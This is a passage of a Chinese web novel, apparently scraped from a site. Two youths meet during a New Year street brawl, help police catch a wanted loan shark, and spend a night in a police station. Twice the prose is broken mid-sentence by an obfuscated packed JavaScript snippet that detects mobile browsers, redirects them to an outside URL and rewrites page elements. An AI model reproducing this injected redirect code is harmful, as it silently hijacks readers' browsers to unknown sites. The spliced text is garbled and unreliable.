“他们吵架你是不是就躲这儿呢?”江蔚云说,“你可以躲,但是我们住进来了,以后得先打报告知道吗?” 捏他儿子。 江蔚云KPI达成。 马家巷是这一带有名的小吃街,三人并行都略显拥挤的小巷每天却是人来人往。 往里走到一个丁字路口,路会宽点,便有店家在门口摆上折叠桌椅,勉强成个夜市。 过年这几天生意也不错,不过主要是些无家可归或者压根不想回家的人撑场子。 入夜后,树枝上红灯笼亮了,在黑压压的巷口,特有中式恐怖的氛围。 郑策裹紧了衣裳往前走。 巷口烟花店还开着,招牌和五元店一个套路。只不过下面还煞有介事地用拼音再标注了“yanhuadian”三个字。 可能是怕外国人读不懂吧。 除此之外,烟花店招牌最为醒目的是粉红头发的守护甜心。虽然模糊的像是打了一层马赛克,但郑策凭借中二时期的狂热,还是一眼认出了亚梦。 是谁裹着被子站在床上施展魔法,往事不必再提…… 烟花店前,有个老太太和小男生在卖烤羊肉串。老太太民族风打扮,朴素又不拘一格的宽松款式很适合她。 小男生主管烤肉,颊侧隐约有两粒酒窝,衬得整个人柔和不少。 烤架上的肉闻着焦香孜然,还挺像回事。 一群五颜六色头发的人走在郑策前面,大衣衣角被风鼓起,走得十分有范儿。 郑策脑子里自动补足BGM:叱咤风云,我任意闯万众仰望;叱咤风云,我绝不需往后看…… 古惑仔们路过羊肉串时,齐刷刷停在小推车面前。 五大三粗往那儿一站,将老太太和旁边的男生遮得严严实实。 郑策放慢脚步。 如果要起冲突,她还能掉头就走。 是的,这种时候她不想惹麻烦。 “奶奶,来三根仙女棒。” 周全刚把烟叼上,打火机一捞出来,就被骆淇眼疾手快抢了过去。 “年纪轻轻燃一头白发,不知道怎么想的。三根,抠死你得了。” 骆淇瞪他,“我说过烟花店周围不要带打火机吧?没收了。” “我这是灰蓝色,你不懂。” 周全无奈。 “那您这儿还煤气罐呢!威力赶上加特林了都,我那打火机就剩两滴油。” “羊肉串吃不吃?” 骆淇不想跟他嘴贫,“不吃就滚。都没个样子,把外套都扣上!春捂秋冻,现在还没入春呢!” 骆淇对五彩缤纷的这群人丝毫不怵,强迫每个人都裹成棉冬瓜后,满意地拿了三根仙女棒, “奶奶送你了,去外面玩儿。” “我不吃您这耗子肉,我进去找远方吃顿好的,顺带帮您教训他一顿。” 周全呲牙笑着接过仙女棒,另一只手在手机上点点,朝骆乘光说,“弟,压岁钱打过去了啊,新年快乐!” “你混那点儿钱,可别再天女散花了。”骆淇还是烤了几串羊肉串递给他。 周全接过和兄弟们分了,不服道:“嘿外婆你别小看高中毕业生,当大老板的多了去了。现在高三就剩最后半年,我劝远方也别读了吧……” 他话还没说完,郑策就看见老太太用一根沾着油腥的竹签突出重围,把几个混混唬得瞬间散开的。 “你敢在他面前提这件事,我把你扎成筛子信不信?哎,别跑,不准灌他喝酒听见没,他还要读书……” 几个人嬉皮笑脸一顿跑,周全回头给老太太打招呼的时候踩着一小石子,立马向后倒。 然后,被旁边人伸手一捞,瞬间完成拉丁舞高难度下腰动作。 郑策继续小声配乐:翻天覆地,我定我写自我的法律~~ “哎天官儿诶。”骆淇嫌弃地皱了皱鼻头,转身就看见走来的郑策。 立马换上笑脸,轻声问: “小姑娘吃羊肉串吗?” “不用了,谢谢。” “哎,大过年的,老太太我给你打八折,前头的店都黑心着呢,来两串来两串。” 骆淇朝对炭火神游天外的骆乘光使了使眼色,“发什么呆啊,烤啊!” 虽然骆淇一直守在烧烤摊边,但一靠近,郑策还是闻到她身上有股熟悉的味道。 别人说这是老年味儿,她不清楚,只是依稀记得在外婆家也闻到过。 看在这老太太大过年不躺在家里看戏剧春晚,跑到马路上逢人就笑的份上,郑策心一软,跟了过去。 “两根就行。” 男生烤得明显不熟练,手忙脚乱一顿乱抓。 郑策看着有些头晕,刚一抬眼,又看见这老太太满脸笑容打量自己。 啧。 刚回来这两天,但凡遇见个人都把她当动物园出逃的猴儿看,郑策皱眉,正想问她看什么,老太太欣然笑道: “郑策是吧?” 郑策眼神里的不耐烦瞬间变成探究,“您是?” “我是郑策的外婆,那个男孩儿,你们小时候一起玩儿过。哎呀,都长这么大了。” “噢。” 郑策对这个老年人没什么印象,小镇上看着眼熟,有过交集的人多了去了。 她忽然想起,欧阳说他们家出了变故,所以才出来摆摊吗? 但郑策不想多问,同时也不希望别人过问自家的事。 没想到骆淇下一句就是,“你爸妈呢?也回来了吗?” “……没。” 还好羊肉串好了,郑策接过就要走,“多少钱?” 骆淇抢在骆乘光前开口,“二十。” 又坑老实人呢。 郑策看着两根竹签上塞牙缝都嫌小的肉丁沉默了。 她忽然开口:“阿玛尼那库喷达阿库盆达WeiWei。” 骆乘光举着铁架子,愣住:…… 骆淇同时也呆住,手里电话叮咚一声: 支付宝到账,二十,元。 “再见奶奶,新年快乐。” 郑策皮笑肉不笑转身就走。 骆淇没八卦过瘾,还想逮住她再问两句,被骆乘光拦住。 他胳膊环住骆淇脖子对着镜头笑,“外婆来,我们自拍一张,这烟火气满满的。” “她是不是骂我们呢?仗着我们听不懂?” 骆乘光紧了紧手臂,“小声点。” “干嘛呢要呛死我?” 骆淇又小声说,对着镜头笑了笑,“没看她往夜市走嘛,还有钱呢,本来能多聊几块钱羊肉串的。” “再聊就没命了。” 骆乘光龇牙咧嘴,从牙缝里蹦出几个字,“看手机,她右边兜儿里是什么?” 骆淇虚着眼睛,调整老花距离,看了半天,才惊道:“天官儿,她怎么带着刀!” “让人知道你挂羊头卖狗肉,待会儿拔出来我都来不及救你。” “她不会干什么傻事吧?” 骆淇心里一阵不安,“远方还在里面呢。” “骆远方要是打不过她,他就别活了。” 骆乘光点了两下手机,屏幕转向骆淇,“你不是让我教你晚上怎么才能拍得清晰嘛,看着点。” 骆淇别过脸去,“诶你先把美颜开开,我见不得这张老脸。” “……毛病。” “啧。”骆淇打开美颜凑过去看两眼,“等我熟练掌握智能手机就去环球旅行,你们哭着求我回来,都不管用!” 本地人身份在老油条面前根本不管用,郑策被坑了一把,心里不服。 羊肉串不好吃,又老又柴。 刚才闻着香主要功劳在那男生调料加得足,但吃进嘴里又是另一回事了。 又咸又苦。 郑策没吃两口,遇见被插成刺猬的垃圾桶,贡献了两根带肉的竹签上去。 垃圾桶转角立马就热闹起来,吃小龙虾的,喝夜啤酒的,撸串的。 地上全是油和竹签,空中飘着烟和爹妈,也是很热闹了。 但她站在垃圾桶边没转弯。 因为看见了帅哥,不,熟人。 大苍蝇的黑色复古头盔放在红色高脚塑料凳上。 旁边男生胳膊肘架在膝盖上,坐姿懒散地仰头喝了口啤酒,喉结滚了滚。 郑策。 人果然不禁念叨,这两天念多了就遇见了。 不。 她又看了眼凳子上的变色护目镜。 是一回来就遇见了。 巷子不宽,各家餐馆灯光一打,整个巷子瞬间灯火辉煌。 男生侧对着她坐,边缘线条在各色灯光下清晰齐整,而他身边是来往的人群。 耳边哄闹并未减少,也许是少年干净利落的形象和这里不相容,让人觉得很安静。 像是个误入的旅客。 但郑策很快又根据他撸起袖子的手臂上大大小小的擦伤认出: 他是打篮球那个人。 “怎么剔了个板寸?齁冷的。” 刚在羊肉串摊前寒暄的灰蓝色头发少年和他碰了下酒杯。 “不过,我兄弟头型好看,剔成和尚都还是这么帅。” 周全说着在骆远方头上摸了两把,被扎得缩了回去。 “今天下午才剔的。” 骆远方说,“骆淇说这下更像越狱的了。” “我也感觉,只是刚没好意思说。”周全贱兮兮地笑着把凳子挪远了些。 “远方,还回来练体育吗?”褚铭给他挑了根肉多的串儿,刚端过来,肥肉上还滋儿滋儿冒油。 褚铭是这群人中,除了骆远方以外,唯一一个黑头发的。 他年纪也最大,明显沉稳些。 “你的事,我们差不多也知道了,不用瞒着。” “不练了,去何仙姑的班读一年半。” “卧槽?还真去啊?” 周全惊讶,一脸同情看他,“从高二开始复读?那你小子亏死了。” 郑回想到之前电话里的沟通,原来他就是柯言嘴里更麻烦的复读生。 还是体训特长班转来的,那是麻烦点。 她竟下意识觉得眼前这些人都没什么前途。 她摇了摇头。 平时她最不喜欢别人随意给自己下定论,现在和那些自以为是的人有什么区别。 “你少吃点糖吧,得糖尿病了可没人管你,我猜老太太会让你自生自灭,还有你冻死人的弟弟,死之前能看你一眼就谢天谢地吧。” 周全递来一盒菊乐酸奶,“喏,专门给你买的,老太太吩咐的,少喝酒。” “嘴里积点德吧你。” 骆远方想起复读的事儿就烦,下意识嚼了块儿薄荷糖,被这么一说,发射炮弹一般又吐出来。 准确弹射进垃圾桶。 他有些感慨地摘下吸管,“出了省都没有菊乐喝,想死这口了。” “嗐,依我看你还真是出息了,一个人出省闯了六个月,我们混几十年都没出过这片儿。” 周全忽然多动症一样,扭着凳子往骆远方这边靠,被他一脚挡开。 但周全扭得忘情没注意,惯性朝他身上扑了过去。 “卧槽,你喝了两口就醉成这样?” 骆远方接住他。 “你他妈的,谁知道你来这么一脚。” 周全挂在他身上小声说,“侧面有个女孩儿,一直看着咱们这儿,你猜看谁?” “看我呗,我比你们好看点。” 骆远方受不了一个男人抱着自己嚼耳根,一把把他推开。 一群人吵吵嚷嚷起哄,“你是好看,混不下去了,来店里当男模,给你开高价!” “不是我说,再过两年,就开他个连锁店。” 褚铭说,“远方找不到活儿就去当店长,哥几个罩着你!离了高考又不是没路了。” 骆远方笑着向褚铭举了举杯。 心里有些酸。 这群兄弟什么都知道,一向直来直去的性子,为了他的事委婉得快赶上薛宝钗了都。愣是没多问一嘴他出走的情况。 “谢谢哥!” 他心领了。 一人举杯:“去他妈的高考!” 周全和他碰上,豪爽道:“去他妈的体训!” 一群人开始鬼哭狼嚎:“去他妈的精英教育——” 周全笑嘻嘻坐回去,正想摆正了凳子看一眼垃圾桶边的女孩儿。 却不小心撞上隔壁桌的人。 这种本就狭小逼仄,人挤人的苍蝇小馆,类似摩擦不可避免。 本以为糊弄糊弄就过去了,没想到身后直接伸过来一胳膊,圈住周全的脖子就往后拖。 “不长眼啊!” “操!” 这桌五彩人立马都站了起来,骆远方也放下酒杯,盯着那边。 褚铭掰着那人胳膊,不费吹灰之力就扭成一个高难度动作,把周全给解救下来。 这桌全是练过的体训生,对这种级别的架从来不怵。 那人被拧得面目狰狞,身旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812333|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也立马站起来帮他脱围。 这一脱围,郑策瞳孔倏地紧缩。 单眼皮,倒八字。 她脑子里暗骂了声,迅速拿出电话拨给警.察.局。 郑策现在万分后悔刚沉迷男色,没多走两步,早点发现这个人渣。 看这些人打架的狠劲儿,她都怕警察来之前就结束战斗。 郑策捏了把汗。 火得烧得更旺些才好。 “活得不耐烦了吗,毕业了吗小子?” 邻桌一人直接拿着空的啤酒瓶往桌角一敲,看向他们这边。 玻璃渣碎一地,湿漉漉躺在地上。 就半分钟不到,巷子里这块儿地方已经贴心地给两拨人斗殴充分腾出了场地。 人群缩到十米开外,拿着手机开始直播打卡地头蛇斗狠现场。 “吹牛吹得唢呐一样,不知道的以为你他妈号丧呢。” 周全活动活动脖子,今晚这气,他非出不可。 他对人群喊: “都录好了,看谁活得不耐烦了,跟我面前找死!” 单眼皮男人面对这么多摄像头明显有些不适,略显慌张地撇过头来。 这一撇,他直接和躲在拐角的郑策亲密对视上了。 操。 男人拔腿就跑。 周全狠话还没放完,被他不按套路出牌给弄无语了。 更无语的是男人同桌的一群人。 两拨人就看着他,傻楞在原地。 “等个屁啊,等人来收尸么!” 骆远方吼了声。 他实在受不了,这气势都架足了,还面面相觑惺惺相惜的场景,一脚踢翻面前的桌子。 “要打就他妈快点打。” 场面一下子混乱起来。 骆远方长腿一伸,逃跑的男人十分狼狈地朝地上的不明呕吐物一扑。 骆远方拧着眉朝旁边让了让。 “就是你惹出来的,跑了我找谁算账?” 这群体训毕业生都跟头牛一样壮实。 而骆远方看着瘦,动起手来却丝毫不逊色。 像只猛兽,更确切说,是窄巷里混迹已久的野猫。 藏匿于黑夜,悄无声息。 但动作灵活,目光冷冽,没有花招,一击命中。 没过两招,搞高利贷诈骗的这群人,就发现干不过搞体育的这群牲口。 作势就要跑。 这群街头闹事的,总是来也匆匆,去也匆匆。 骆远方在单眼皮男人身上招呼了几下后,没太大意思,也要放他走。 郑策在暗处观察他们的一举一动,眼看着就要逃走,她叹了口气。 果然等不到警.察.来。 骆远方这边刚拿了根烟出来,还没点上,余光里就见一个黑影从垃圾桶里,不,垃圾桶旁边冲了过来。 拦下刚被他胖揍一顿的单眼皮。 单眼皮的同伙现在屁滚尿流想着逃命,根本顾不上还落了一个人。 于是郑策单手灵活地转了几圈从垃圾桶里顺出的擀面杖,紧接着,猛地朝单眼皮劈去。 擀面杖还带着各路烧烤的调料风味,擦过骆远方,在他面前掠过一阵又臭又香的风。 男人反应相当迅速,侧身非常狼狈一滚,好险也躲了过去。 周全拿的烟还没点上,先被郑策手里玩棍子的花活给震惊,咬着烟赞道:“帅啊!” 本以为结束了战斗,女孩儿忽然的加入,竟搞了个彩蛋出来。 但因为搞不清状况,几个人都站在旁边,看着她和单眼皮厮杀。 郑策胜在灵活,还有一根擀面杖进攻,打中了好几下。 但在力量和体型上仍处下风。 褚铭看着这一幕:“什么情况?她不要命了吗?” 没过两招,郑策手上擀面杖脱了手,赤手空拳对峙,毫无章法,更像是在泄气。 她确实似乎不打算要这条命,同时也没把对方当个人,处处紧逼。 骆远方也拧着眉,一脸沉重看着,“这个打法,再挨几下,她肋骨少说断三根。” 他丢了烟,刚往前迈一步,周全一伸胳膊拦住他,摇摇头,“别管,不像善茬。” 骆远方看了眼还在缠斗的两人,犹豫了下,便没上前。 但几人刚收拾外套准备离开时,巷口就传来了警笛声。 过年还要值班的警察们有些激动甚至疯狂地鸣笛。 带点“总算找着出气对象”的癫狂在里面。 警察们一字排开从车辆大灯前赶过来时,都快有了港片追捕毒贩的气场。 而刚跑出的那些人,刚好落入他们的怀抱。 怎么不算双向奔赴的浪漫呢…… 周全非常沉稳地看了一会儿,慢慢脱口而出非常没有气势的一个字: “跑。” “跑了屎盆子就扣头上,明儿警察就上门。”骆远方放下外套。 忽然,眼角银光一闪,骆远方想都没想,两步跨过去,一把捏住郑策举起来的刀柄。 她的手在抖。 骆远方忽然有一瞬的怔愣。 下一秒,他把刀从郑策手里抢过来,再用力一拉,把郑策拉到身后。然后一脚踏在那人胸口,制止他进一步动作。 “你干嘛?他们斗殴,你越搅越浑啊!”周全急道。 他的脑子在千分之一秒内想出的办法便是把他们摘出事外,假装看热闹的三好青年。 “警察会信吗?” 骆远方放开郑策,说话间拿着刀往自己手臂上毫无征兆,猛地一划。 长长一条口子,血迅速洇湿灰色卫衣,流得顺畅又欢快。 他只是皱了皱眉,捏紧拳头,“这种情况,谁惨谁有理,你们待会儿替我多嚎几声,我不想刚开学就背处分。” 他还没说完,手里的刀又被身后的女生抢了回去。 郑策握着匕首猛地朝地上扎去。 骆远方心里一惊,一脚踢开地上的男人。 同时,郑策双膝重重磕在地上,匕首插入水泥地缝隙,还在不住颤抖,金属碰撞地面发出轻响。 骆远方只能看见她埋着头,略显瘦削的肩膀轻微颤抖起伏。 从她冲出来到现在,一句废话没说过,出手果断又狠辣。 像是只有一次机会,所以使出全力。 直到跪在地上时,女孩儿才缓缓吐出一口气。 很慢,很长地舒出一口气。 肩膀也跟着沉了下去。 匕首一歪,她整个人笔直向下倒,骆远方连忙单膝跪下扶正她。 声音因为刚抽过烟,又被酒精刺激,沙哑里带着颤抖。 “你,怎么了?又想讹人?” 郑策微眯眼睛,嘴角还带血,笑着叹了口气: “真他妈爽!” 见她这幅样子,骆远方怔了瞬,没忍住也偏过头跟着她笑起来。 “疯子。” 警笛声至,这里早已一片狼藉。 5. 加个微信么? 等眼前的重影逐渐合为一体,霓虹灯光晕收缩回各自招牌的时候,郑策已经迷迷糊糊坐在警车上。 身边一个女警察不停地拍她的脸,右脸此时都麻了。 不愧是习武之人。 “小姑娘,没事吧?什么情况?哪儿受伤了?说句话啊?啊?” 郑策拧着眉转头看过去。 警车上人还挺多,后两排坐着五彩缤纷那桌人,都好奇地看她是不是快死了。 她揉了揉太阳穴,“没事,有点晕血。” “嗐——” 车内紧张的气氛肉眼可见松快了些。 周全一脸悲痛地看着她,“身手不错,竟然晕血,可惜了。” “我不晕,身手还行,要不较量较量?”女警察回头看他,周全立马缩着脖子向她敬了个少先队队礼。 骆远方趁乱朝郑策看了眼,想起前天被撞后戴墨镜,对伤口视而不见的场景。 原来晕血啊。 他将胳膊往里挡了挡。 派出所院子里据说没车位了,车停的有些远。几人被迫押解着走了一截路。 有点游街示众的意味。 对此周全用个“操”字表示不服,又迅速抱头屈服在“敢”字的威压之下。 还好正月十四已经收假,大部分人都躺在家里平复年假结束的心情,街道上并没有太多人。 枯黑树枝嵌入夜空,细密如烟,像个牢笼围困了一整个城的梦境。 铁质栏杆上挂了一整面的租房信息,还有注意扒窃的警方标语。A4纸裹着硬塑料在风里圆了当彩旗飘飘的梦。 “这么便宜,靠谱么?”郑策嘟囔了一声。 “啊?” 女警察没反应过来,看到依次起伏的广告又说,“还是得找正规中介机构,这些挂几百年都不带换的……想租房?” 郑策不置可否,“就看看。” 走到十字路口拐角,遇见一女孩儿行色匆匆。长棉衣下面露出米白色睡裤,提着一袋啤酒饮料之类,应该是下楼帮大人补货的可怜人。 郑策后头几个男生还挺要脸,老远见着活人,都默契地回头,只留下哥几个深沉的后脑勺。 “看路!”警察一路上跟个复读机一样来回播报。 “都当街斗殴了,还要什么脸啊!” “哎!”郑策忽然停住,朝女孩儿那边喊了声,中气十足的。 吓得这一拨人都卡了几帧。 她继续吼:“后面跟着你的人,认识吗?” 骆远方顺着她视线看过去,拧着眉,陷入沉思。 众人这才注意到女孩儿身后似乎有个黑影九十度急转,杀进了最近的岔路里。 女警察瞬间明白过来,也看着女孩儿问:“家离得近吗?我们送你。” “不用不用,就在街对面。” 女孩声音软软的,应该是吓着了,朝他们非常标准地鞠了九十度,又快速瞅了眼郑策,趁着绿灯就跑。 “谢谢警察姐姐!” 女警察看着她背影叹了声:“一群死男人半夜叫个小女孩儿出来买酒,我祝这酒辣他□□儿。” 在街上冻了小一段路,一行人回到警察局竟然凭空生出亲切之情。横七竖八倒了一地,跟自己家一样。 “小策?”值班的男警察看到来人时,惊讶地问。 “卧槽,关系户。”周全小声冲骆远方逼逼。 郑策爸爸是电工,这里派出所硬件设施上偶尔出个问题,都是他来解决。 以前小郑策常跟在爸爸身后递螺丝刀,改锥什么的。一来二去,也都认识她。 “席叔,帮你们抓着一个放高利贷的。” 郑策接过席警官递来的热水,喝了一口,“闹出人命就跑了,用的假证,是个通缉犯。” 她不带标点地直接丢了个炸弹在所里。 刚横在地上躺尸一样的几人猛然坐起来。 他们在街上小打小闹,也不是没进过派出所。但闹出人命,可又是另一个层面了。 难怪这女孩又是擀面杖又是水果刀的。 单眼皮被打成肿眼泡,刚进门听见这句话顿了下,几个毛头小子瞬间向后爬了几米,给他让出道来。 以为是个废柴,没想到是亡命徒啊,失敬失敬。 郑策转身看那人的脸。 虽然一个头被揍成两个大,但他一笑,嘴角还是会撑起两条短括弧。 看着憨厚老实,一张嘴又是老乡口音,爸妈这才着了道。 “不是我。你们抓错人了。”他垂死挣扎。 “转账记录,合同信息,笔迹鉴定,证据我这儿都有。” 郑策沉默着看了他一会儿,转过身继续登记信息,冷声问: “席警官,这种人能判死刑吗?” 听到这句话,周全迅速紧张地瞅了眼骆远方。 骆远方背靠着墙坐,仰头抵在墙上,脖子上紧绷的线条和不时的吞咽动作能看出来他伤得不轻。 左臂衣服被医生剪得稀碎,裹着绷带垂在身侧。 见周全看过来,骆远方嘴角微弯了弯,摇摇头,向他做了个没事的口型。 “没事你手抖什么?” 周全膝行过去,有些担心地看着他。 又朝他竖起拇指,“说划就划,你真是这个。” “你他妈划自己一刀,你看抖不抖。” “操。” 周全咽不下这口气,仰头向登记信息那群人喊了一嗓子,“警察叔叔,我们被划成这样了,管不管啊?我这热血沸腾的。” “管也一个一个来,热血就出去喝两口西北风,管降温。” 警察叔叔大半夜加班,心情也不是很美丽。 “也是会挑地方打,周围一个摄像头都没有,便宜了跑的那几个。” 想要确定逃跑的人的身份。 一通询问下来,一人一个说法,根本无法准确定位长相。 警察都怀疑跑的几个是孙悟空。有七十二般变化。 “我可以,画出来。”骆远方忽然开口。 “是是是,他画画贼牛逼。” 周全忽然清醒,瞪圆了眼睛,这种装逼好事怎么能少得了他。 “不信让他先画个我,你们看像不像!” 褚铭也靠在窗边接了句:“比赛得过一等奖呢!” “是是是,上回画了个水牛,我楞以为是照片呢!” 一群混混忽然开启彩虹屁模式,让警官们有些哭笑不得。 没想到兄弟们这么捧场,骆远方此时也有些后悔提了这么一嘴。 这群人就差送他一件衣服,胸口上写着几个大字: 全村的希望。 但事实也如此,他在这群人里一直被当做弟弟照顾着。 因为他聪明,有天赋,都觉得他有出人头地的机会。 也许他们知道自己这辈子就烂在这里了,所以才不愿意看见骆远方一次次落败。 他们始终在下面托着他,像是托着自己未曾萌芽的梦想和希望。 当然,最后警察也没让骆远方真的给周全来个入狱写真。主要会画的人一动笔,大概就能看出水平。 三张图下来,连脸上褶皱和痣都标记了出来。再拿着去马家巷那边盘查就方便多了。 一男警察拿起画像端详,“嘿果然像个人,明天拿去试试。” 骆远方:“……谢谢夸奖。” 男警察看着骆远方还想问,“你……” “自学的,水平低,不收徒。” 骆远方将铅笔一放,转身又坐回角落里的老位置。 “嘿,还真够傲的……” 核查到大半夜,总算把基本案情理清了。 单眼皮被捕,郑策可以回家,其余的人因聚众闹事得关一晚。 刚好五彩人们折腾到半夜也累了,惹的事交给警察擦屁股,一个个睡得死猪一样。现在叫起来挪窝,说不定还有起床气。 “席叔,我今晚能留在所里吗?” 这个时候让姨妈来领人,郑策不如一头撞死。 “你爸妈呢?”席警官在电脑上唰唰地点击什么。 墙角那边,骆远方闭着的眼睫颤了颤。 “他们……没回来。” 郑策说,“我住别人家,这么晚,人家都睡了。” “你自己看这群人……”席警官一言难尽看过去,有几个都开始流哈喇子说梦话了。 他指了指骆远方。 “那个杨过,哎,那么长条凳子,腾个位置出来给小姑娘休息。” 独臂杨过半阖着眼皮,绷着嘴角似乎非常不爽地朝他们看了眼。 然后闭着眼往旁边挪了挪。 一点没有偷听的心虚。 大概是照顾他,那群兄弟在警察局哭天抢地一顿喊冤后,都席地而睡,把唯一的凳子和周围的空间都留给了骆远方。 郑策走过去,骆远方闻到一股奶香,淡淡的,和之前在车上闻到的一样。 她背对着骆远方抱膝缩在一边,头靠着墙,缓缓吐出一口气。 结束了。 没想到还挺快。 没缺胳膊少腿儿,除了点淤青,血都没流。 她愿意回来的一半原因就是这个男人。 但把他送进去后,并没有想象中的松快感。 像在不断下坠过程中,被树枝兜了一下,还没来得及庆幸运气好,咔嚓一声,枝条又断了。 迎接自己的深渊有多黑暗,她之前从没有想过。 直到现在,快习惯下坠过程的失重感后,往身下一探。 才发现深不见底。 还没来得及心疼自己,身后忽然传来声音。 “之前,那个……你,对不起……” 似乎怕把其他人吵醒,他声音压得很低。 旁边几个警察在热情高涨地赌今年高铁站能开通就去吃屎。 他的声音夹杂在电视里元宵晚会的歌舞声中,显得艰难无比。 “啊?” 郑策没动,仍旧背对着他,但声音里有浅浅的笑意,“说什么呢这么费劲。” 也许是刚才又打斗又控诉的,她声音虚了很多,柔化掉之前锋利棱角,像低声耳语。 “我是,撞你那个人,还记得吧?” 骆远方转过头看她,“之前嘴快,问了你胳膊上……不要介意。你……节哀。” 黑色袖带,人命案,高利贷,还不要命地抓逃犯…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812334|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 经过这一番折腾,骆远方大概猜出郑策家发生了什么。 “早认出来了,谢谢啊。” 郑策微笑着转过身,和他并排坐着,骆远方的眼睛很亮,像深空的月亮,她顿了片刻,叹道: “幸好有你拦我那一下,刚脑子烧着了一样,我都不知道自己会干出什么来。” 郑策转过头,骆远方立马也转回去,摸了摸兜,递给她一个东西。 “你的创口贴。” “你不要?现在才还?” “你脸上有条口子。” 骆远方啧了声,“不是晕血么?怕你照镜子晕过去。” 他忽然不合时宜想起周全之前的骚话: 我一条口子,你一条口子,我们就是——两口子。 唉。 什么不堪入耳的台词,悄没声儿地进了他脑子。 “是么?”郑策还带着泥点子的手在脸上胡乱摸了摸。 “哎,卫生习惯呢?” 骆远方无奈,“算了,我给你贴。” “谢了。”郑策也没拒绝,把脸支过去。 骆远方的指腹是暖的。 虽然有准备,但是触碰过的地方,侧颊像是被烫了下,她反射性往回缩了缩。 “疼?”骆远方小心问。 “不疼。”郑策有些尴尬,“你手挺烫,吓我一跳。我冬天手脚都是凉的,没想过有人还能这么烫。” “……那你忍一下。”骆远方仔细地撕开胶条,怕黏上她脸上的口子。 此时,电视里歌舞表演结束,开始回放往年春晚经典小品,巩汉林和赵丽蓉台词清晰,情绪饱满: 宫廷玉液酒。 一百八一杯。 这酒怎么样? 骆远方贴完,闭着眼睛靠回去,小声跟上:“听我给你吹。一杯你开胃,我喊了一声美~” “笑什么?” 他睁开眼睛看她,面无表情的时候,加上这一脸伤,平白叫人不敢接近。 “以为你们这种人不看小品呢,不冷酷,会掉范儿。” “……小时候没事干只能看这些。” 骆远方淡淡道,又闭上眼睛,“其实就是那个二锅头,对的那个白开水……” 他小时候家里的情况,郑策多少也清楚一些,于是也沉默着没说话,听他对小品里的台词如数家珍。 两人都安静地坐着,但也睡不着,直到电视里晚会又开始重播。 十二点过,窗外传来空远的钟声,悠长,宁静。净化一整天的喧嚣和浮躁。 今天派出所破例没有收他们的手机。 往常的话,应该会收到很多人的元宵快乐祝福。不论亲疏,群发私戳,手机都会叫上一阵。 但今天没有,郑策回来之前把号码给换了,没人能联系上她。 看着骆远方一个个点开聊天框,又不回复,她有些想笑。 “不回一下么?” “都是群发客套话,没意思。” 骆远方息屏手机,看着她手里安静的手机,“你这人缘不怎么行啊?” “我……换号了,没加之前的人。” “那可惜了,积分什么都浪费了。” 呃,这个脑回路还真是够清奇的。 骆远方忽然说:“加个微信么?” 郑策看着他,有些发愣。 这算,不打不相识吗? 骆远方半开玩笑地说:“怪凄凉的,我给你发元宵快乐。” “……谢谢你好心人。” 郑策眯缝着眼睛看他,不知道骆远方是玩笑还是真的。 但她脑子转不动了。像一整天过载的机器,现在拔了电源。齿轮还依着惯性运转,摩擦着又烫又沉。 “我能靠着你睡一下么,这墙太硬,再不闭眼我感觉脑花要炸了。” “这么没防备?” 骆远方看着她下一秒就要云游四海的模样,“我说不行的话……” “谢谢。” 郑策打断他,挽过他的手还注意看了下不是受伤的那只,脑袋直接靠了上来。 她闭着眼睛,满意地小声道:“这儿是警察局,而且……我信得过你,新年快乐。” 信得过? 为了一句信得过,骆远方爆棚的使命感愣是让他挺出了军姿的效果。 没过一会儿,耳边呼吸逐渐均匀。郑策睡熟后,挽着他手臂的手垂下来,靠在他手边。 果然是冰凉的。 骆远方犹豫着要不要捂一下,就听见女孩的声音低低传来: “郑策,还疼吗?” 他试探的手指倏地蜷了蜷,又收了回去。 为了包扎伤口,骆远方只穿了件薄卫衣,此时肩膀的位置有些潮湿和暖意。 “没事了,新年快乐。” 他闭着眼睛靠回墙上,小声说。 “还有……好久不见。” 两人头摞着头睡到五六点左右。 睡梦里,郑策忽然被人推了下。就听见席警官在耳边说:“郑策,你舅舅来了。” “嗯?什么舅舅?”她皱着眉在骆远方肩膀上蹭了蹭。 “就是你舅啊,你大舅你二舅都是你舅的那个舅!” 6. 劳改犯的儿子 歪着头睡了几小时,还夹在骆远方脑袋和肩膀中间,郑策猛地惊醒。 磕了一下上面的头,吓得骆远方也猛地睁开眼睛。 但脖子一时半会儿掰不回原位。 她和骆远方此时就像唐伯虎点秋香里两位骨骼特异的公子,迷蒙着眼睛望向席警官。 “舅舅?” 郑策跟着重复了句,然后朝席警官身后看过去。 冬天五六点,外面本应该漆黑一片,今日也许是个大晴天,天空泛着深灰色,给青灰的巷道蒙上一层复古滤镜。 宋乐洋往门口一站,挡住大半视线,头发留着简单美式前刺,胡子刮得很干净,露出棱角分明的线条。 像是雕塑家用小刻刀削出的利落短线。剑眉微皱,好像心情不是很好。 但和骆远方的疏离感不同,给他一根棍子,宋乐洋就像是要来端了警.察.局的。 宋乐洋看她一眼,抿着唇角似乎很不爽地朝席警官比划几下手势,然后从兜里掏出一张身份证递过去。 席警官摆手,“不用了,她本来也没被拘留,自愿陪我们值班的。” 于是宋乐洋看着郑策,头朝门口偏了偏,示意可以走了。 郑策这才看见他耳朵上带着助听器。 宋家有三个孩子,郑策妈妈最大,接着是姨妈,那个年代对儿子有执念,于是又生了宋乐洋。 却没想到是个哑巴。 